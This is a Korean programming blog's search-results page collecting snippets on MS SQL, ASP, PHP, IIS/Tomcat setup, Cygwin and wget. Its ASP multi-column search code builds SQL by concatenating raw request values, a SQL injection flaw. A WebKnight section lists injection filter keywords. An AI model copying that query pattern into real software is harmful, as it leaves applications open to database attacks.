Search Results for '프로그래밍'


1208 posts related to '프로그래밍'

  1. 2010/03/01 MS SQL 2000/2005 유용한 명령어 모음
  2. 2010/03/01 ie에서 경고창 없이 창 닫기 1
  3. 2010/03/01 다중검색 쿼리 만들기
  4. 2010/03/01 ASP 소스 보기 1
  5. 2010/02/11 WebKnight.xml 설정
  6. 2010/02/11 플렉스 유용한 단축키
  7. 2010/02/11 아이콘 검색 엔진(iconlet.com, iconfinder.net)
  8. 2010/02/11 JavaScript Table Sorter
  9. 2010/02/11 jQuery.each break continue
  10. 2010/02/11 escape 된 문자열 PHP uncscape 함수
  11. 2010/02/11 대용량 업로드를 위한 php.ini 설정
  12. 2009/12/01 IIS+Tomcat 설치
  13. 2009/11/19 Eclipse - 설치 및 환경 설정 java
  14. 2009/10/14 Cygwin bash prompt 모양 바꾸기.
  15. 2009/10/14 Cygwin 한글 입출력 원활히 사용하기.
  16. 2009/10/13 JS 파일 인코드 및 디코드 asp
  17. 2009/10/13 wget 사용법 2 4
  18. 2009/10/13 Windows 2003 FTP 사용자 격리 및 IIS 설정 - 웹호스팅용 2
  19. 2009/09/30 웹에서 doc 파일을 프린트하기 2
  20. 2009/09/30 자바스크립트 에러 상태창에 표시
  21. 2009/09/30 한 번의 링크 클릭으로 두 개의 페이지를 여는 방법
  22. 2009/09/30 MSN 친구 자동으로 추가하는 스크립트 1
  23. 2009/09/30 MySQL Weak Password Encryption Vulnerability Exploit
  24. 2009/09/30 MYSQL SQL문 정리
  25. 2009/09/30 PHP XML 파서
  26. 2009/09/30 PHP RSS 리더
  27. 2009/09/30 메타 데이타....개념
  28. 2009/09/30 간단 배치파일 작성
  29. 2009/09/30 ShellExecute,WinExec,CreateProcess (IE 실행방법)
  30. 2009/09/30 웹페이지 프레임 포함 전체 소스 추출웹, HTML
-- 테이블명으로 테이블들 검색
sp_tables '%테이블명%'

-- 컬럼명 검색
sp_columns @table_name='%', @column_name='%컬럼명%'

-- 실행계획결과를 표로 보기
set statistics profile on

-- 테이블의 여러정보(인덱스 등등) 보기
테이블 선택한 상태에서 alt + f1 누름 (이병화가 알려줌 -_-)

-- 뷰 또는 프로시저 스키마 보기
sp_helptext 뷰또는 프로시저이름

-- 지정한 테이블의 데이터와 인덱스에 대한 조각화 정보를 표시
DBCC SHOWCONTIG(테이블명)



-- 특정 단어가 들어간 뷰/프로시저/펑션/트리거 찾기
-- V(뷰), P(프로시저), FN(펑션), TR(트리거)
Select
    distinct c.name as owner, a.name as objname, a.xtype
From
    dbo.sysobjects a with (nolock)
    inner join dbo.syscomments b with (nolock) on a.id = b.id
    inner join dbo.sysusers c with (nolock) on a.uid=c.uid
Where
    a.category < 2
    and b.text like lower('%특정단어%')
Order By
    owner, objname, xtype
2010/03/01 02:27 2010/03/01 02:27
window.open('about:blank','_self').close();

만일 frame로 씌워져 있다면 아래와 같이 응용하면 됨!!
window.open('about:blank','_top').close();


참고로 예전엔 아래와 같이 했었는데 IE7 이상부터는 작동 안한다.
self.opener = self;
self.close();
2010/03/01 02:25 2010/03/01 02:25
일단 8개의 컬럼에서 검색한다고 하고 검색이 있다는 가정하에..


Dim search(7), kk(7), j, i
  search(0) = "uid"
  search(1) = "customer"
  search(2) = "prodname"
  search(3) = "spec"
  search(4) = "price"
  search(5) = "make"
  search(6) = "info"
  search(7) = "regdate"

   For i = 0 To 7
           If request(search(i)) = "" Then '검색이 있는 컬럼만 체크
        kk(i) = "no"
           Else
        kk(i) = "yes"
          End If
   Next

   j = 0
   For i = 0 To 7
        If kk(i) = "yes" Then
        j = j+1
                 If j = 1 Then
                    search_sql = " where "&search(i)&" like '%"&request(search(i))&"%'"
                 Else
                    search_sql = search_sql & " and "&search(i)&" like '%"&request(search(i))&"%'"
                 End If
        End If
   Next              
2010/03/01 02:24 2010/03/01 02:24

정해준 경로의 소스를 출력하는 함수를 간단하게 만들어보았습니다.

당연한 말이겠지만 같은 사이트 내의 소스만 출력이 됩니다.


<%
function show_source(url)
    Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
 
    strFilepath = Server.Mappath(url)
    Set oFile = oFSO.OpenTextFile(strFilepath, 1)
 
    strText = oFile.ReadAll

    Set oFile = nothing
    Set oFSO = nothing

    strText = Replace(strText, "&", "&amp;")
    strText = Replace(strText, "<", "&lt;")
    strText = Replace(strText, " ", "&nbsp;")
    strText = Replace(strText, vbTab, "&nbsp;&nbsp;&nbsp;&nbsp;")
    strText = Replace(strText, vbCrLf, "<br>")
 
    show_source = strText
end function
%>

<code>
<%=show_source("show_source.asp")%>
</code>

Replace 부분에서 매번 strText 변수에 재할당하지 않고 한줄로 한번에 변환하는 것이 실행 효율이 조금 더 낫지만, 저렇게 Replace 항목이 많은 경우에는 여러줄로 나누어 보기 좋게 해주는 것이 수정을 편하게 하여 유지보수 생산성이 높아집니다.


<code> 태그는 코드를 화면에 출력할때 사용하는 <xmp> 태그와 유사한 동작을 합니다.

함수내에서 화면 출력에 필요한 작업을 이미 대부분 해놓은 상태이므로 코드 출력용 태그는 사실상 불필요합니다. 위의 경우는 단순히 보기 좋으라고 <code> 태그를 붙여놓은 것이므로 제거하셔도 무방합니다.


참고로 <code> 태그 위치에 <xmp> 태그를 대신 사용하면 사소한 문제가 하나 생기니 주의하시길 바랍니다.


============================================================================================================================

늦어지만 저도 답변달아 봅니다.

아래와 같이 보여지게 만들어 줍니다.


<%

Sub viewCode(codefile)
response.write "<p style=""background-color=#eeeeee;"">"
set fso = server.createobject("scripting.filesystemobject")
set f = fso.opentextfile(server.mappath(codefile),1)
allViewCode = viewHTML(f.readall)
set f = nothing
response.write codingcolor(allviewcode,"brown")
response.write "</p>"
End Sub

'Coding부분을  찾아서  Coloring함수로...
function  CodingColor(strTemp,strFontColor)
          Dim  firstPos
          Dim  lastPos
          Dim  leftString
          Dim  midString
          Dim  rightString
          Dim  xmidString

          firstPos  =1
          lastPos  =  1
          do  until  lastPos  >=  len(strTemp)
                    firstPos  =  instr(lastPos,  strTemp,  "&lt;%")
                    if  firstPos  <=  0  then
                              exit  do
                    end  if
                    lastPos  =  instr(firstPos,  strTemp,  "%&gt;")
                    if  lastPos  <=  0  then
                              lastPos  =  len(strTemp)
                    end  if
                    lastPos  =  lastPos  +  len("%&gt;")  -  1
                    leftString  =  left(strTemp,firstPos-1)
                    midString  =  mid(strTemp,firstPos,lastPos-firstPos+1)
                    rightString  =  mid(strTemp,lastPos+1,len(strTemp)-lastPos)
                    xmidString  =  coloring(midString)
'                    strTemp  =  leftString  &  xmidString  &  rightString
'                    lastPos  =  firstPos  +  len(xmidString)-1
                    strTemp  =  leftString  &  "<span  style=color:"  &  strFontColor  &  ";>"  &  xmidString  &  "</span>"  &  rightString
                    lastPos  =  firstPos  +  len("<span  style=color:"  &  strFontColor  &  ";>"  &  xmidString  &  "</span>")-1
          loop

          CodingColor  =  strTemp
end  function

function  coloring(strViewCode)
          Dim  Reservedwords
          Dim  aryReservedword
          Dim  i
          Dim  strFunction
          Dim  aryFunction

          Reservedwords="And|Call|Case|Const|Dim|Do|Each|Else|ElseIf|Empty|End|Eqv|Erase|Error|Exit|Explicit|False|For|Function|If|Imp|In|Is|Loop|Mod|Next|Not|Nothing|Null|On|Option|Or|Private|Public|Randomize|ReDim|Resume|Select|Set|Step|Sub|Then|To|True|Until|Wend|While|Xor"
          aryReservedword=split(Reservedwords,"|")
          for  i  =  0  to  ubound(aryReservedword)
                    strViewCode  =  wordReplace(strViewCode,aryReservedword(i),"blue")
          next
         
          strFunction="Anchor|Array|Asc|Atn|CBool|CByte|CCur|CDate|CDbl|Chr|CInt|CLng|Cos|CreateObject|CSng|CStr|Date|DateAdd|DateDiff|DatePart|DateSerial|DateValue|Day|Dictionary|Document|Element|Err|Exp|FileSystemObject|Filter|Fix|Int|Form|FormatCurrency|FormatDateTime|FormatNumber|FormatPercent|GetObject|Hex|History|Hour|InputBox|InStr|InstrRev|IsArray|IsDate|IsEmpty|IsNull|IsNumeric|IsObject|Join|LBound|LCase|Left|Len|Link|LoadPicture|Location|Log|LTrim|RTrim|Trim|Mid|Minute|Month|MonthName|MsgBox|Navigator|Now|Oct|Replace|Right|Rnd|Round|ScriptEngine|ScriptEngineBuildVersion|ScriptEngineMajorVersion|ScriptEngineMinorVersion|Second|Sgn|Sin|Space|Split|Sqr|StrComp|String|StrReverse|Tan|Time|TextStream|TimeSerial|TimeValue|TypeName|UBound|UCase|VarType|Weekday|WeekDayName|Window|Year"
          aryFunction=split(strFunction,"|")
          for  i  =  0  to  ubound(aryFunction)
                    strViewCode  =  wordReplace(strViewCode,aryFunction(i),"red")
          next
          strviewcode  =  blockcomment(strviewcode,"""""magenta")
          strviewcode  =  linecomment(strviewcode,"'""green")
          coloring  =  linecomment(strviewcode,"Rem""green")
end  function

'HTML  보기에서  단어에  색상입히기
Function  wordReplace(strSearchWithin,strSearchFor,fontcolor)
          Dim  lngStartingPosition
          Dim  lngFoundPosition
          Dim  strReplaced
          Dim  ascBlank
        lngStartingPosition=1
        lngFoundPosition=InStr(lngStartingPosition,strSearchWithin,strSearchFor,1)
        do  while  lngFoundPosition  >  0
                    ascBlank=asc(Mid(strSearchWithin,lngFoundPosition-1,1))
                    if  (ascBlank>=48  and  ascBlank<=57)  or  (ascBlank>=65  and  ascBlank<=90)  or  (ascBlank>=97  and  ascBlank<=122)  then
                                        strReplaced=strReplaced  &  Mid(strSearchWithin,lngStartingPosition,lngFoundPosition-lngStartingPosition)  &  mid(strSearchWithin,lngFoundPosition,len(strSearchFor))
                    else
                              ascBlank=asc(Mid(strSearchWithin,lngFoundPosition+len(strSearchFor),1))
                              if  (ascBlank>=48  and  ascBlank<=57)  or  (ascBlank>=65  and  ascBlank<=90)  or  (ascBlank>=97  and  ascBlank<=122)  then
                                        strReplaced=strReplaced  &  Mid(strSearchWithin,lngStartingPosition,lngFoundPosition-lngStartingPosition)  &  mid(strSearchWithin,lngFoundPosition,len(strSearchFor))
                              else
                                        'found
                                        strReplaced=strReplaced  &  Mid(strSearchWithin,lngStartingPosition,lngFoundPosition-lngStartingPosition)  &  "<font  color="  &  fontcolor  &  ">"  &  mid(strSearchWithin,lngFoundPosition,len(strSearchFor))  &  "</font>"
                              end  if
                    end  if
                lngStartingPosition=lngFoundPosition+len(strSearchFor)
                lngFoundPosition=InStr(lngStartingPosition,strSearchWithin,strSearchFor,1)
        Loop 
        wordReplace=strReplaced  &  Mid(strSearchWithin,lngStartingPosition)  'catch  the  last  one
End  Function

'HTML  보기
function  viewHTML(strHTML)
          viewHTML    =  replace(replace(replace(replace(replace(replace(strHTML,"&","&amp;"),"<","&lt;"),">","&gt;"),"  ","&nbsp;  "),"          ","&nbsp;  &nbsp;  &nbsp;  &nbsp;  &nbsp;  "),vbcrlf,"<br>"  &  vbcrlf)
end  function

'줄단위  주석문  처리
function  linecomment(strTemp,  strCommentChar,  strFontColor)
          Dim  firstPos
          Dim  lastPos
          Dim  leftString
          Dim  midString
          Dim  rightString
          Dim  xmidString

          firstPos  =1
          lastPos  =  1
          do  until  lastPos  >=  len(strTemp)
                    firstPos  =  instr(lastPos,  strTemp,  strCommentChar)
                    if  firstPos  <=  0  then
                              exit  do
                    end  if
                    lastPos  =  instr(firstPos,  strTemp,  "<br>"  &  vbcrlf)  +  5
                    if  lastPos  <=  0  then
                              lastPos  =  len(strTemp)
                    end  if
                    'Single  Quotation  &  "Rem"  String  Exception  ("'",  "Rem")
                    If  not(mid(strTemp,  firstPos-1,  1)=""""  And  mid(strTemp,firstPos  +  Len(strCommentChar),1)="""")    Then
                              leftString  =  left(strTemp,firstPos-1)
                              midString  =  mid(strTemp,firstPos,lastPos-firstPos+1)
                              rightString  =  mid(strTemp,lastPos+1,len(strTemp)-lastPos)
                              xmidString  =  extractColor(midString)
                              strTemp  =  leftString  &  "<font  color="  &  strFontColor  &  ">"  &  xmidString  &  "</font>"  &  rightString
                              lastPos  =  instr(firstPos,  strTemp,  "<br>"  &  vbcrlf)  +  6
                    Else
                              lastPos  =  lastPos  +  1
                    End  If
          loop

          linecomment  =  strTemp
end  function

'블럭단위  주석문  처리
function  blockcomment(strTemp,  strCommentChar,  strFontColor)
          Dim  firstPos
          Dim  lastPos
          Dim  leftString
          Dim  midString
          Dim  rightString
          Dim  xmidString

          firstPos  =1
          lastPos  =  1
          do  until  lastPos  >=  len(strTemp)
                    firstPos  =  instr(lastPos,  strTemp,  strCommentChar)
                    if  firstPos  <=  0  then
                              exit  do
                    end  if
                    lastPos  =  instr(firstPos+len(strCommentChar),  strTemp,  strCommentChar)
                    if  lastPos  <=  0  then
                              lastPos  =  len(strTemp)
                    end  if
                    lastPos  =  lastPos  +  len(strCommentChar)-1
                    leftString  =  left(strTemp,firstPos-1)
                    midString  =  mid(strTemp,firstPos,lastPos-firstPos+1)
                    rightString  =  mid(strTemp,lastPos+1,len(strTemp)-lastPos)
                    xmidString  =  extractColor(midString)
                    strTemp  =  leftString  &  "<font  color="  &  strFontColor  &  ">"  &  xmidString  &  "</font>"  &  rightString
                    lastPos  =  firstPos  +  len("<font  color="  &  strFontColor  &  ">"  &  xmidString  &  "</font>")
          loop

          blockcomment  =  strTemp
end  function

function  extractColor(strColor)
          dim  exfirstPos
          dim  exlastPos
          Dim  xleftString
          Dim  xmidString
          Dim  xrightString

          extractColor  =  strColor
'          exit  function

          exfirstPos  =1
          exlastPos  =  1
          do  until  exlastPos  >=  len(strColor)
                    exfirstPos  =  instr(exlastPos,  strColor,  "<font  color=")
                    if  exfirstPos  <=  0  then
                              exit  do
                    end  if
                    exlastPos  =  instr(exfirstPos  +  11,  strColor,  ">")
                    if  exlastPos  <=  0  then
                              exit  do
                    end  if
                    xleftString  =  left(strColor,exfirstPos-1)
                    xmidString  =  mid(strColor,exfirstPos,exlastPos-exfirstPos+1)
                    xrightString  =  mid(strColor,exlastPos+1,len(strColor)-exlastPos)
                    strColor  =  xleftString  &  xrightString
                    exlastPos  =  exfirstPos-1
                    exfirstPos  =  exlastPos
          loop
          extractColor  =  replace(strColor,"</font>","")
end  function
%>

2010/03/01 02:22 2010/03/01 02:22
Global Filter Capabilities
- IIS5 격리 모드 사용시
  • Is Installed As Global Filter > check
  • Deny Postdata SQL injection > check
Cookie
- Deny Cookie SQL Injection > check
ContentType
- multipart/form-data 추가
URL Scanning
- URL Allowd starts > 공백추가
Headers
- Deny Header SQL Injection > check
SQL Injection
- SQL Injection Keywords
  • ; 제거
  • <script 추가(POST 데이터 필터)
  • <form 추가
  • <object 추가
Referrer
- Referrer URL RFC Compliant > 체크해제(파라미터 값중 한글 차단)
2010/02/11 20:42 2010/02/11 20:42
플렉스 유용한 단축키

- Ctrl+Tab : Open된 파일 이동

- Alt+Left,Right : Open된 파일 이동(좌,우)

- Ctrl+E : Open된 파일 이동

- Ctrl+L : 라인 이동

- Ctrl+K : 블록지정한 텍스트와 일치하는 텍스트 위치로 이동(아래)

- Ctrl+Shift+K : 블록지정한 텍스트와 일치하는 텍스트 위치로 이동(위)

- Alt+Up,Down : 현재 커서 위치의 코드 이동,또는 지정된 블록단위 코드 이동

- Ctrl+Q : 마지막으로 수정된 코드위치로 커서 이동

- Ctrl+Shift+T : 클래스 찾기

- Ctrl+Shift+R : 파일 찾기

- Ctrl+D : 현재 커서 위치의 라인 삭제

- Ctrl+O : 현재 파일의 속성,메소드 표시

- Ctrl+M : 현재페이지 최대화,이전크기로 전환

- Ctrl+F11 : Application 실행

- Ctrl+Shift+C : 블록지정한 텍스트 주석 처리

- Ctrl+Shift+D : CDATA 템플릿 삽입

- Ctrl+Shift+L : 단축키 목록 -> 사용가능한 모든 단축키 목록이 쭉~~~
2010/02/11 20:41 2010/02/11 20:41
http://www.iconfinder.net/

http://www.iconlet.com/

초기 구글의 검색 페이지 처럼 직관적인 검색 페이지를 제공한다.
아이콘에 따른 라이센스가 표시 되기 때문에 라이센스에 맞게 사용하도록 하세요..
2010/02/11 20:40 2010/02/11 20:40

테이블 정렬용 자바스크립트 소스
크기 1.7KB 밖에 되지 않는 Table Sorter 는 간결한 코드에 상당히 빠른 성능을 발휘한다.


var sorter=new table.sorter("sorter");
sorter.init("sorter",1);


상세정보 here.


데모보기 here.

소스코드 다운로드 here.

2010/02/11 20:38 2010/02/11 20:38

jQuery.each(callback)

each 메소드를 하는 하는 경우 for문과 같은 제어 문에서 사용되는 break , continue 의 쓰임이 필요 하다.
each에서는 return true(continue) 와 return false(break) 를 이용해서 break, continue와 같은 동작을 일으킬수 있다.


$('#loop').each(function(i){
if( i == 0 ) return true; //continue;
return false;//break;
});

2010/02/11 20:37 2010/02/11 20:37

자바스크립트에서 escape 함수를 통해 데이터를 받을 경우 '%uC548%uB155%uD558%uC138%uC694' 형태의 문자열로 인코딩되어서 오게 됩니다.
PHP 에서는 unescape 함수가 없기 때문에 직접 만들어 주어 사용할 수 있습니다.
아래 코드를 참고 하세요


function tostring($text) {
return iconv('UTF-16LE', 'UTF-8', chr(hexdec(substr($text[1], 2, 2))).chr(hexdec(substr($text[1], 0, 2)))); // UTF-8 인 경우
// return iconv('UTF-16LE', 'UHC', chr(hexdec(substr($text[1], 2, 2))).chr(hexdec(substr($text[1], 0, 2)))); // EUC-KR 인 경우
}
function unescape($text){
return rawurldecode(preg_replace_callback('/%u([[:alnum:]]{4})/', 'tostring', $text));
}


처리할 문서가 charset euc-kr 일경우 함수 tostring 에서 iconv 2번째인자를 "UHC" 로
utf8 일경우 "UTF-8"로 지정한다.

예)

$escapeString = "%uC548%uB155%uD558%uC138%uC694"; // "안녕하세요"를 escape 한 문자열
$unEscapeString = unescape($escapeString);
echo $unEscapeString;

// 출력결과
// 안녕하세요

2010/02/11 20:34 2010/02/11 20:34
대용량 파일을 업로드 하려면 php.ini 에서 몇가지 설정해야할것이 있다.

일반적으로 8M정도에 맞춰져 있다.

php.ini 의 아래부분을 자기에 맞춰서 편집하자
---------------------------------------------
file_uploads = On
파일 업로드를 허용할지 정하는 부분이다. 당근 On 이다.

upload_max_filesize = 200M
최대 업로드 파일 사이즈다. 원하는 만큼 설정하자.

post_max_size = 200M
Post방식으로 넘겨질 최대 데이터 사이즈다. 역시 원하는 만큼 설정하자.

max_execution_time = 300
최대 실행시간이다. 대용량 파일일수록 시간이 많이 걸리니 당연 실행시간을 늘려 주어야 한다.
0으로 세팅하면 무한대이니 알아서 적당히 세팅해서 사용하자.

memory_limit = 300M
php에 관련된 메모리 할당량이다. 이것도 늘려줘야 한다.
upload_max < post_max < memory_max 이렇게 해야 하는걸로 난 알고 있다.

그 외에도 apache 의 conf 파일을 수정!

/etc/httpd/conf.d/php.conf (시스템마다 다르다)

이넘을 열어보면

LimitRequestBody

라는 설정값이 있다. 이넘의 초기값이 524288 이다..
이넘의 값을 대략 200메가 200000000 정도로 하자
당근 아파치 재시작..

이제 대용량 올라갈거다.

2010/02/11 20:02 2010/02/11 20:02
iis5.0,6.0 과 Tomcat 6.0 연동하기

*** IIS(windows)와 Tomcat 연동


1. download(A,B,C,D)
http://java.sun.com/javase/downloads/index.jsp

A.jdk-6u3-windows-i586-p.exe (Windows Offline Installation, Multi-language )
B.jre-6u3-windows-i586-p.exe (Windows Offline Installation, Multi-language )

http://tomcat.apache.org/download-60.cgi

C.Tomcat 6:
apache-tomcat-6.0.14.exe (Windows Executable)
D.Tomcat Connectors (mod_jk, mod_jk2, mod_webapp):
        Tomcat Connectors JK 1.2 Binary Releases -> win32 ->
isapi_redirect.msi,isapi_redirect.dll
http://tomcat.apache.org/download-connectors.cgi

2. install

JDK 또는 JRE을 default로 설치한다.
apache-tomcat-6.0.14.exe을 실행
- 모든 설정은 default로 하며 풀로 설치한다.

내컴퓨터->등록정보->고급->환경변수->
CATALINA_HOME(C:\Program Files\Apache Software Foundation\Tomcat 6.0)
JAVA_HOME(C:\Program Files\Java\jre1.6.0_03)
변수를 등록한다.

isapi_redirect.msi를 실행
- 모든 설정을 default로 설치한다
   (레지스트리와 iis의 가상디렉토리가 자동으로 설정된다)

3. conf 수정

Tomcat 6.0이 설치된 경로의 conf 디렉토리의

server.xml에서
       맨아래의 <host></host>사이에 <Context.... />을 추가한다
<host>
               ...
               ...
<Context path="" docBase="웹문서경로(e.g. c:\inetpub\wwwroot)" debug="0" reloadable="true" />
<Context path="/" docBase="c:\inetpub\wwwroot" debug="0" reloadable="true" />
</host>

isapi_redirect.msi 설치디렉토리의
workers.properties.minimal은 수정하지 않는다
uriworkermap.properties에서
/jsp-examples/*=wlb
/servlets-examples/*=wlb 아래 부분에

#현재는 개별 적용
#전부다 적용 할경우 아래 주석을 푼다.
#/*=wlb
#개별로 할경우 해당되는 내용만 적용한다.
/=wlb
/*.jsp=wlb
/*.do=wlb



4. IIS 설정

웹사이트 등록정보( 웹사이트 전체 폴더 절대 개별 웹사이트가 아님) -> ISAPI필터 ->필터 이름은 임의로 지정(e.g  tomcat connector)
하고 isapi_redirect.dll)를 추가한다.
(C:\Program Files\Apache Software Foundation\Jakarta Isapi Redirector\bin\isapi_redirect.dll)
iis6.0일 경우 웹서비스 확장에서 오른쪽 버튼을 누르고 새로 만들기에서
(jakarta - isapi_redirect.dll)을 허용함으로 만들어 놓아야 한다.

추가할 사이트에 가상디렉토리를 잡아준다.( 가상디렉토리명은 jakarta 로 하고
디렉토리경로는  isapi_redirect.dll 이 있는 디렉토리로 잡아준다.
(C:\Program Files\Apache Software Foundation\Jakarta Isapi Redirector\bin)


서비스 -> Apache Tomcat 등록정보 -> 시작 유형을 자동으로 지정한다.


5. 관리도구의 서비스에서 IIS Admin과 tomcat을 리스타트 한다.
   IIS를 리스타트 한다.

2009/12/01 20:49 2009/12/01 20:49

JSP(웹언어)

1. JDK1.5 - JSP컴파일 프로그램
2. Tomcat5.5 - 웹서버프로그램(무료)  <Resin - 유료(톰캣보다 안정적, 한글처리가능)>
3. Eclipse3.0 - 개발툴
                     1)Tomcat plugin (웹서버관리도구)
                     2)WTP-all-in-on (개발툴플랫폼)
                     3)퀀텀DB (DB연동)


---------------------------------------------------------------------------------------


JDK설치


내컴퓨터-속성-고급-환경변수

; - 마침표의 역할


변수이름 : JAVA_HOME - 자바의 최상위 위치 설정

변수값 : C:\Program Files\Java\jdk1.5.0_06;


변수이름 : CLASSPATH - 자바의 컴파일러가 있는 파일 위치 설정(하는 변수값)

변수값 : C:\Program Files\Java\jdk1.5.0_06\lib\tools.jar;


변수이름 : PATH - 컴파일된 파일을 실행시켜주기위한 위치 설정

변수값 : C:\Program Files\Java\jdk1.5.0_06\bin;



cmd창에서


java -version : 자바 버전확인

javac : 자바 컴파일확인

java : 컴파일된 파일 실행 확인


----------------------------------------------------------------------------------------


Tomcat설치


c\로 폴더전체 옮긴후 환경변수 설정


변수이름 : CATALINA_HOME - 톰캣최상위 위치 설정

변수값 : C:\apache-tomcat-5.5.15;


변수이름 : CLASSPATH - 톰캣의 컴파일러가 있는 파일 위치 설정

변수값 : C:\apache-tomcat-5.5.15\common\lib\servlet-api.jar; (기존의 CLASSPATH에 덧붙임)


변수이름 : PATH - 톰캣엔진안에서 컴파일된 파일을 실행시켜주기위한 위치 설정

변수값 : C:\apache-tomcat-5.5.15\bin; (기존의 PATH에 덧붙임)


-------------------------------------------------------------------------------------


eclipse설치


1. 기존의 3.0버전의 eclipse폴더를 c\로 복사

2. wtp-all-in-one 폴더에서 3.2버전의 eclipse폴더를 기존의 c\로 덮어씌우기

3. Tomcatplugin폴더를 eclipse\plugins\에 추가    ==> eclipse에 고양이 3마리 생성


--------------------------------------------------------------------------------------


퀀텀DB설치


1. features, plugins폴더를 복사하여 C\eclipse\폴더에 추가


사용자 삽입 이미지



























 이클립스에서 확인
2009/11/19 01:47 2009/11/19 01:47

리눅스에서 흔히 볼수 있는 [guest@zgd home]$ 식의 프롬프트를 이용하고 싶다면싶다면
profile 파일을 수정해줘야 합니다.
profile 파일을 이해하고 프롬프트 설정 부분만 찾아서찾아서 변경해주면 참 좋겠으나
저처럼 초보인 경우엔 단순한 쉘스크립트도 복잡해보입니다.
그래서 마지막 줄에 추가하는 식으로 설명 해놨습니다.

일단일단 자신의 홈디랙토리에 .bash_profile 파일이 있나 확인해봅니다.

없다면,

cp /etc/profile ~/.bash_profile


하시고,하시고,


복사된 .bash_profile 제일 마지막 줄에 아래의 코드를 입력하면 흔히흔히 보던 프롬프트 모양으로 바뀔 것입니다.


export PS1='[\u@\h \W]\$ '


export PS1='[\u@\h \W]\$ '
[master@nox ~]$


덧 , 새로운 환경변수에 적용되기 위해서는 재접속 하셔야 합니다.

2009/10/14 15:46 2009/10/14 15:46

Cygwin 기본설정 상태에서는 한글입출력이 불가능 합니다.
몇가지 환경설정을 해줘야 한글 입출력이 가능해 집니다.

자신의 홈 디렉토리의
.inputrc 파일을 생성하여 다음의 내용을 추가하여 줍니다.

set meta-flag on
set convert-meta off
set output-meta on

마찬가지로 홈 디렉토리의
.bashrc 파일을 생성하여 다음의 내용을 추가하여 줍니다.

alias ls='ls -F --color=auto --show-control-char'
alias l.='ls -dl .[a-zA-Z]*'
alias ll='ls -al'
alias cp='cp -i'
alias mv='mv -i'
alias rm='rm -i'

마지막으로 .bash_profile 맨 마지막에

if [ -f /etc/bash.bashrc ] ; then
source /etc/bash.bashrc
fi

if [ -z "$INPUTRC" -a ! -f "$HOME/.inputrc" ]; then
INPUTRC=/etc/inputrc
fi

를 추가해줍니다.

2009/10/14 15:45 2009/10/14 15:45

2.인코딩 방법은 다음 ms의 url을 참조하십시오.
http://msdn.microsoft.com/library/en-us/script56/html/d8f019c3-5249-4947-a8a2-247e75e3e468.asp
인코더 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=E7877F67-C447-4873-B1B0-21F0626A6329&displaylang=en


3.디코딩 역시 툴을 이용하였습니다.
http://www.virtualconspiracy.com/scrdec.html
예)
C:\>scrdec18.exe newclubt_webp_v1.js decode.html




Window Script Encode




준비물

사용법 : screnc [/?] [/s] [/f] [/xl] [/l ScriptLanguage] [/e DefaultExtension] <source> <destination>

/s - 아무런 메세지를 표시하지 않습니다.
/f  - 결과파일이 존재할경우 없어쓰기를 합니다.
/xl - 다음 확장자를 제외하고 Encode 합니다.


예제 :
screnc /f test.html                
[ test.html 파일을 Encode 하여서 덮어씌웁니다. ]

screnc *.asp c:\myDir          
[ 현재폴더의 모든 ASP 파일을 Encode 해서 c:\myDir 폴더로 복사합니다. ]

screnc -e asp *.* c:\myDir
[ 현재폴더의 확장자가 ASP 인 파일을 Encode 해서 c:\myDir 폴더로 복사합니다. ]

screnc -e asp -xl *.inc *.* c:\myDir
[ 현재폴더의 확장자가 inc 인 파일만 Encode 해서 c:\myDir 폴더로 복사합니다. ]
 


Window Script Decode




준비물

사용법 : Usage: scrdec18 <infile> <outfile> [-cp codepage] [-urldec|-htmldec]   [-verbose] [-dumb]

-cp    :  일본어, 중국어(Simplified, Traditional) , 한국어(완성, 조합) 로 인코딩된경우 해당 언어설정을 하여야 합니다.
           932 - 일본어
           936 - 중국어 (Simplified)
           950 - 중국어 (Traditional)
           949 - 한국어 (완성)
          1361 - 한국어 (조합)

-urldec    : %xx 형식으로 변경을 합니다.
-htmldec : &amp;형식으로 변경을 합니다.
-verbose : 상세한 설명을 표시합니다.


예제 :
scrdec18 test.asp test_decode.asp
[ test.asp 파일을 test_decode.asp 파일로 Decode 합니다. ]
[출처] JS 파일 인코드 및 디코드|작성자 꼬마곰푸

2009/10/13 14:20 2009/10/13 14:20

wget 사용법 2

* 이 글은 유닉스 관련 운영체제의 경험이 별로 없는 사람을 위한 wget 의 간단한 지침서입니다.

1. wget ?

코맨드 라인에서 파일 다운로드를 쉽게 할 수 있는 유틸리티이다. 요즘의 대부분의 리눅스 배포판에는 기본적으로 설치되어 있다.

2. Windows 버전의 wget

* win32 에서 사용가능한 바이너리도 존재한다. 여기를 참조.

- 위의 바이너리를 다운로드하고 윈도우 환경변수에서 PATH에 잡혀 있는 폴더로 복사해 둔다.
- "어떻게 윈도우에서 PATH를 잡나요?" 라고 생각하시는 분이라면 여기를 참조할 것.
- "PATH가 뭐지요?" 라고 생각하는 분이라면 걍 C:Windows 폴더로 복사한다. -.-;;;

3. 기본적인 사용법
 
- PATH가 걸린 상태에서 '명령 프롬프트' 를 부르고 'wget' 을 입력한다.
* 보다 명령 프롬프트를 쉽게 사용하려면 여기를 참조.

- "wget --help" 라고 하면 사용할 수 있는 옵션이 출력된다.


4. 중요한 옵션 및 사용예
 
- r : 지정된 디렉토리의 하위 디렉토리의 내용을 몽땅 다운로드한다.

사용예 : wget -r ftp://ftp.ncbi.nlm.nih.gov/blast/db/ 
설명 : 이렇게 하면 ftp://ftp.ncbi.nlm.nih.gov/blast/db/ 의 디렉토리 구조를 유지한 채로 모든 파일을 불러온다.

- nd : 디렉토리를 만들지 않는다. 계층적으로 나열된 웹 사이트의 디렉토리의 내용을 한 디렉토리로 불러올 때 편리하다. -r 옵션과 같이 사용하면 매우 유용하다.

사용예 : wget -nd -r ftp://ftp.ncbi.nlm.nih.gov/blast/db/ 
설명 : 이렇게 하면 ftp://ftp.ncbi.nlm.nih.gov/blast/db/  내의 내용물을 현재 폴더에 몽땅 다운로드받는다.

-A, --accept=: 지정된 확장자의 파일만을 받아온다.

사용예 : wget -nd -r --accept=fna ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria/

설명 : 이렇게 하면 ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria 에서 확장자가 .fna 인 파일만을 받아서 현재 디렉토리에 저장한다. (물론 -nd 옵션을 빼면 폴더 구조가 그대로 유지된다)


-R, --reject=: 지정된 확장자의 파일만을 빼고 받아온다.

사용예 : wget -nd -r --accept=fna ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria/

